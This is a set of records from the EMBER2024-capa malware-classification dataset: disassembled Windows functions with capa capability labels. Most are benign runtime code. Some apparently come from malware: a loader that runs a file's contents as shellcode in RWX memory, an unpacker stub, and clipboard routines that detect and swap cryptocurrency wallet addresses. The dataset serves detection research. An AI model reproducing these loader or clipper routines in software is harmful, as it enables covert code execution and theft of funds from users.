joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140034ce0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [0x14005c818]
mov r10, rcx
mov r9, qword [rcx + 0x188]
movsxd rax, edx
imul rbx, rax, 0x70
add rbx, qword [rcx + 0x18]
mov dword [rcx + 0x74], edx
test dword [rbx], 0x10000
movss xmm2, dword [rbx + 0x34]
je 0x140034d23
addss xmm2, dword [rcx + 0x90]
movaps xmm0, xmm2
lea rsi, [r9 + 0x110]
subss xmm0, dword [r9 + 0x28]
movss dword [rsi], xmm2
movss xmm1, dword [rcx + 0x88]
addss xmm1, dword [rcx + 0x7c]
movss dword [r9 + 0x128], xmm2
subss xmm0, dword [r9 + 0x154]
movss dword [r9 + 0x118], xmm2
movss dword [r9 + 0x114], xmm1
movss dword [r9 + 0x158], xmm0
mov eax, dword [rcx + 0x8c]
mov dword [r9 + 0x148], eax
movsx eax, byte [rbx + 0x6a]
mov dword [r9 + 0x168], eax
movss dword [r9 + 0x22c], xmm1
mov eax, dword [rbx + 0x34]
mov dword [r9 + 0x228], eax
mov eax, dword [rbx + 0x38]
mov dword [r9 + 0x230], eax
mov eax, dword [rbx + 0x3c]
mov dword [r9 + 0x1cc], eax
movzx eax, byte [rbx + 0x68]
mov byte [r9 + 0xc3], al
cmp byte [rbx + 0x68], 0
je 0x140034dcf
xor eax, eax
mov dword [rdi + 0x4998], eax
mov dword [rdi + 0x49a0], eax
test dword [rcx + 4], 0x100000
je 0x140034de3
mov r8d, 2
jmp 0x140034e63
movups xmm0, xmmword [rbx + 0x20]
mov rax, qword [r9 + 0x2a8]
movss xmm4, dword [rbx + 0x20]
movss xmm3, dword [rbx + 0x24]
movss xmm2, dword [rbx + 0x28]
movss xmm1, dword [rbx + 0x2c]
movups xmmword [r9 + 0x248], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd rdx, dword [rax + 0x58]
mov rcx, qword [rax + 0x60]
add rdx, rdx
movups xmmword [rcx + rdx*8 - 0x10], xmm0
movzx r8d, word [rbx + 0x5c]
mov rdx, qword [r9 + 0x2a8]
mov rcx, qword [r10 + 0x1a0]
call fcn.140028c20
cmp byte [rdi + 0x5fc8], 0
je 0x140034ea1
cmp byte [rbx + 0x68], 0
jne 0x140034ea1
xor r8d, r8d
lea rdx, [0x140053b84]
mov rcx, rsi
call fcn.140019d20
mov dword [rdi + 0x5ff8], 0x7f7fffff
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x1400352f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14005c818]
mov rcx, qword [rax + 0x4de8]
mov r9, qword [rax + 0x4008]
movups xmm0, xmmword [r9 + 0x248]
movups xmmword [rcx + 0x170], xmm0
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rcx + 0x150]
movss xmm4, dword [rcx + 0x150]
movss xmm3, dword [rcx + 0x154]
movss xmm2, dword [rcx + 0x158]
movss xmm1, dword [rcx + 0x15c]
movups xmmword [r9 + 0x248], xmm0
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r9 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [rcx + 0x232]
mov rcx, qword [rcx + 0x1a0]
mov rdx, qword [r9 + 0x2a8]
add rsp, 0x38
jmp fcn.140028c20

Function at 0x1400353d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14005c818]
mov rcx, qword [rax + 0x4de8]
mov r10, qword [rax + 0x4008]
movsxd rax, dword [rcx + 0x74]
movups xmm0, xmmword [rcx + 0x170]
movss xmm4, dword [rcx + 0x170]
movss xmm3, dword [rcx + 0x174]
movss xmm2, dword [rcx + 0x178]
movss xmm1, dword [rcx + 0x17c]
movss dword [rsp + 0x20], xmm4
movss dword [rsp + 0x24], xmm3
movss dword [rsp + 0x28], xmm2
movss dword [rsp + 0x2c], xmm1
imul r9, rax, 0x70
mov rax, qword [r10 + 0x2a8]
add r9, qword [rcx + 0x18]
movups xmmword [r10 + 0x248], xmm0
movss dword [rax + 0x88], xmm4
movss dword [rax + 0x8c], xmm3
movss dword [rax + 0x90], xmm2
movss dword [rax + 0x94], xmm1
mov rax, qword [r10 + 0x2a8]
movups xmm0, xmmword [rsp + 0x20]
movsxd r8, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add r8, r8
movups xmmword [rdx + r8*8 - 0x10], xmm0
movzx r8d, word [r9 + 0x5c]
mov rdx, qword [r10 + 0x2a8]
mov rcx, qword [rcx + 0x1a0]
add rsp, 0x38
jmp fcn.140028c20
Function at 0x14004b264
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004b2ae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004b2ae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004b2ae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004b2ae
cmp dword [rcx + 0x84], 0xe
jbe 0x14004b2ae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004b2b0
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x140001814
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000185e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000185e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000185e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000185e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000185e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001860
xor al, al
add rsp, 0x28
ret
Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000251a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000251a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000251a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000251a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000251a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000251c
xor al, al
add rsp, 0x28
ret
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012db0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014100
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014120
xor al, al
jmp 0x1400141a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014133
xor al, al
jmp 0x1400141a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001415d
xor al, al
jmp 0x1400141a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014171
xor al, al
jmp 0x1400141a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014183
xor al, al
jmp 0x1400141a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001419f
xor al, al
jmp 0x1400141a1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx eax, word [0x1400022a8]
lea r8, [0x1400022ac]
movsd xmm0, qword [str.config.ini]
lea rdx, [rsp + 0x38]
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
movzx eax, byte [0x1400022aa]
mov byte [rsp + 0x42], al
movsd qword [rsp + 0x38], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
je 0x140001077
lea rcx, str.Failed_to_open_the_code_file.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400011e0
add rsp, 0x58
ret
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
xor edx, edx
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400010e1
lea rcx, str.Failed_to_allocate_memory_for_code.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea eax, [rdi + 1]
jmp 0x1400011ae
mov r9, qword [rsp + 0x30]
mov r8, rbx
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rbx
je 0x140001127
lea rcx, str.Failed_to_read_code_from_the_file.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
jmp 0x1400011ae
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x68], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000115b
lea eax, [rsi + 1]
jmp 0x1400011a9
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rsi
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400011e0
add rsp, 0x58
ret
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000b008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000b008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000b008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, str.cmd.exe__c_ghidraRun.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000190c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001956
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001956
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001956
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001956
cmp dword [rcx + 0x84], 0xe
jbe 0x140001956
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001958
xor al, al
add rsp, 0x28
ret
Function at 0x140023960
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14002396d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14002397d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140023965
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140023995
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140023982
sub eax, 3
jb 0x1400239af
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400239e6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400239d6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400239d4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400239c3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140023922
jmp 0x14002396d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x16e00
mov dl, 7
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140023a32
cmp rsi, rcx
jae 0x140023a3a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140023a19
cmp al, 0x8f
ja 0x140023a19
cmp byte [rsi - 2], 0xf
je 0x140023a1f
sub al, 0xe8
cmp al, 1
ja 0x140023a03
cmp rsi, rcx
jae 0x140023a3a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140023a09
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140023a3a
lodsb al, byte [rsi]
jmp 0x140023a19
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x21000]
mov eax, dword [rdi]
or eax, eax
je 0x140023aa3
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x23000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140023a47
jns 0x140023a7c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140023a86
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140023a9d
mov qword [rbx], rax
add rbx, 8
jmp 0x140023a67
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140023add
cmp al, 0xef
ja 0x140023acf
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140023aaf
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140023abe
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1ff]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140023b31
sub rsp, 0xffffffffffffff80
jmp 0x140003c04
Function at 0x140033bb8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140076b90], eax
call fcn.140033ee0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140076b90], 0
jne case.default.0x140033c0e
mov ecx, 1
call fcn.140033ee0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
pop rdx
int3
Function at 0x140001450
Capabilities:
Write clipboard data

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov ecx, 2
lea rdx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x1400014af
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400014af
mov rdx, rsi
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
nop
add rsp, 0x28
pop rbx
pop rsi
jmp qword [sym.imp.USER32.dll_CloseClipboard]
Function at 0x140001b70
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
lea rax, [rcx + 0x10]
mov qword [rcx + 8], 0
mov rbx, rcx
mov qword [rcx], rax
mov byte [rcx + 0x10], 0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x140001ba8
mov rax, rbx
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
test rax, rax
je 0x140001bf3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdi, rax
test rax, rax
je 0x140001bf3
mov rcx, rax
call sub.msvcrt.dll_strlen
mov r9, rdi
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov r8, qword [rbx + 8]
call fcn.140002190
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rax, rbx
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret

Function at 0x140001c20
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rax, qword [rcx + 8]
mov rbx, rcx
cmp rax, 0x2a
je 0x140001c78
cmp rax, 0x22
je 0x140001c40
add rsp, 0x48
pop rbx
pop rsi
ret
mov rax, qword [rbx]
movzx eax, byte [rax]
and eax, 0xfffffffd
cmp al, 0x31
jne 0x140001c39
mov rax, qword [0x140008060]
xor ecx, ecx
mov rbx, qword [rax]
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140001c39
mov rcx, rbx
add rsp, 0x48
pop rbx
pop rsi
jmp fcn.140001450
mov rdx, qword [rbx]
lea rcx, [rsp + 0x20]
lea rsi, [rsp + 0x30]
mov qword [rsp + 0x20], rsi
lea r8, [rdx + 3]
call fcn.140001560
cmp qword [rsp + 0x28], 3
mov rcx, qword [rsp + 0x20]
je 0x140001cc0
cmp rcx, rsi
je 0x140001cb3
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rax, qword [rbx + 8]
jmp 0x140001c33
cmp word [rcx], 0x6362
jne 0x140001ca0
cmp byte [rcx + 2], 0x31
jne 0x140001ca0
cmp rcx, rsi
je 0x140001c4d
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
jmp 0x140001c4d

Function at 0x140001cf0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbx
sub rsp, 0x40
cmp qword [rcx + 8], 0x2a
je 0x140001d08
add rsp, 0x40
pop rbx
ret
mov rdx, qword [rcx]
lea rax, [rsp + 0x20]
lea rbx, [rsp + 0x30]
mov rcx, rax
mov qword [rsp + 0x20], rbx
lea r8, [rdx + 2]
call fcn.140001560
cmp qword [rsp + 0x28], 2
mov rcx, qword [rsp + 0x20]
je 0x140001d50
cmp rcx, rbx
je 0x140001cfc
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
nop
add rsp, 0x40
pop rbx
ret
cmp word [rcx], 0x7830
jne 0x140001d33
cmp rcx, rbx
je 0x140001d6a
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rax, qword [0x140008060]
xor ecx, ecx
mov rbx, qword [rax + 0x20]
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140001cfc
mov rcx, rbx
add rsp, 0x40
pop rbx
jmp fcn.140001450
Function at 0x140001da0
Capabilities:
Open clipboard

Disassembly:
push rsi
push rbx
sub rsp, 0x48
cmp qword [rcx + 8], 0x22
mov rbx, rcx
je 0x140001dc0
add rsp, 0x48
pop rbx
pop rsi
ret
mov rax, qword [rcx]
cmp byte [rax], 0x54
jne 0x140001db0
lea rcx, [rsp + 0x20]
lea rsi, [rsp + 0x30]
lea rdx, [rax + 1]
lea r8, [rax + 4]
mov qword [rsp + 0x20], rsi
call fcn.140001560
cmp qword [rsp + 0x28], 3
mov rcx, qword [rsp + 0x20]
je 0x140001e10
cmp rcx, rsi
je 0x140001db0
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
jmp 0x140001db0
cmp word [rcx], 0x444e
jne 0x140001df1
cmp byte [rcx + 2], 0x54
jne 0x140001df1
cmp rcx, rsi
je 0x140001e30
mov rax, qword [rsp + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov r8, qword [rbx + 8]
cmp r8, qword [0x140008048]
mov rsi, qword [rbx]
je 0x140001e68
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x140001e90
mov rdx, rbx
lea rcx, [0x140008040]
add rsp, 0x48
pop rbx
pop rsi
jmp 0x140002178
test r8, r8
je 0x140001db0
mov rdx, qword [0x140008040]
mov rcx, rsi
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140001db0
jmp 0x140001e40
mov rcx, rsi
call fcn.140001450
jmp 0x140001e4c
jmp qword [method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_assign_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_]

Function at 0x140002480
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400032d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400032d0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
